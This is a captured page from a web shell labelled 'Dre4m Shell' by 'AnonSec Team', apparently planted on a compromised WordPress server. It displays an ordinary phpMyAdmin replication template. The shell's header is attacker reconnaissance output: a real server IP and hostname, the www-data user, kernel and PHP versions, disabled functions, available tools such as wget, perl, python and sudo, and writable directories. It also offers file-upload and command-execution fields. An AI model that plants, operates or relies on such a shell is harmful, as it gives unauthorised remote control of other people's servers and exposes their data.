Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.142.198.148
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wordpress/phpMyAdmin/templates/server/replication/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/wordpress/phpMyAdmin/templates/server/replication/slave_configuration.twig
<fieldset>
  <legend>{% trans 'Slave replication' %}</legend>
  {% if server_slave_multi_replication %}
    {% trans 'Master connection:' %}
    <form method="get" action="server_replication.php">
      {{ get_hidden_inputs(url_params) }}
      <select name="master_connection">
        <option value="">{% trans 'Default' %}</option>
        {% for server in server_slave_multi_replication %}
          <option value="{{ server['Connection_name'] }}"{{ master_connection == server['Connection_name'] ? ' selected' }}>
            {{ server['Connection_name'] }}
          </option>
        {% endfor %}
      </select>
      <input id="goButton" class="btn btn-primary" type="submit" value="{% trans 'Go' %}">
    </form>
    <br>
    <br>
  {% endif %}

  {% if server_slave_status %}
    <div id="slave_configuration_gui">
      {% if not slave_sql_running %}
        {{ 'Slave SQL Thread not running!'|trans|error }}
      {% endif %}
      {% if not slave_io_running %}
        {{ 'Slave IO Thread not running!'|trans|error }}
      {% endif %}

      <p>{% trans 'Server is configured as slave in a replication process. Would you like to:' %}</p>
      <ul>
        <li>
          <a href="#slave_status_href" id="slave_status_href">{% trans 'See slave status table' %}</a>
          {{ slave_status_table|raw }}
        </li>
        <li>
          <a href="#slave_control_href" id="slave_control_href">{% trans 'Control slave:' %}</a>
          <div id="slave_control_gui" class="hide">
            <ul>
              <li>
                <a href="server_replication.php" data-post="{{ slave_control_full_link }}">
                  {{ not slave_io_running or not slave_sql_running ? 'Full start' : 'Full stop' }}
                </a>
              </li>
              <li>
                <a class="ajax" id="reset_slave" href="server_replication.php" data-post="{{ slave_control_reset_link }}">
                  {% trans 'Reset slave' %}
                </a>
              </li>
              <li>
                <a href="server_replication.php" data-post="{{ slave_control_sql_link }}">
                  {% if not slave_sql_running %}
                    {% trans 'Start SQL Thread only' %}
                  {% else %}
                    {% trans 'Stop SQL Thread only' %}
                  {% endif %}
                </a>
              </li>
              <li>
                <a href="server_replication.php" data-post="{{ slave_control_io_link }}">
                  {% if not slave_io_running %}
                    {% trans 'Start IO Thread only' %}
                  {% else %}
                    {% trans 'Stop IO Thread only' %}
                  {% endif %}
                </a>
              </li>
            </ul>
          </div>
        </li>
        <li>
          <a href="#slave_errormanagement_href" id="slave_errormanagement_href">
            {% trans 'Error management:' %}
          </a>
          <div id="slave_errormanagement_gui" class="hide">
            {{ 'Skipping errors might lead into unsynchronized master and slave!'|trans|error }}
            <ul>
              <li>
                <a href="server_replication.php" data-post="{{ slave_skip_error_link }}">
                  {% trans 'Skip current error' %}
                </a>
              </li>
              <li>
                <form method="post" action="server_replication.php">
                  {{ get_hidden_inputs('', '') }}
                  {{ 'Skip next %s errors.'|trans|format('<input type="text" name="sr_skip_errors_count" value="1" class="repl_gui_skip_err_cnt">')|raw }}
                  <input class="btn btn-primary" type="submit" name="sr_slave_skip_error" value="{% trans 'Go' %}">
                  <input type="hidden" name="sr_take_action" value="1">
                </form>
              </li>
            </ul>
          </div>
        </li>
        <li>
          <a href="server_replication.php" data-post="{{ reconfigure_master_link }}">
            {% trans 'Change or reconfigure master server' %}
          </a>
        </li>
      </ul>
    </div>
  {% elseif not has_slave_configure %}
    {% apply format('<a href="server_replication.php" data-post="' ~ get_common(url_params|merge({
      'sl_configure': true,
      'repl_clear_scr': true
    })) ~ '">', '</a>')|raw %}
      {% trans 'This server is not configured as slave in a replication process. Would you like to %sconfigure%s it?' %}
    {% endapply %}
  {% endif %}
</fieldset>

Anon7 - 2022
AnonSec Team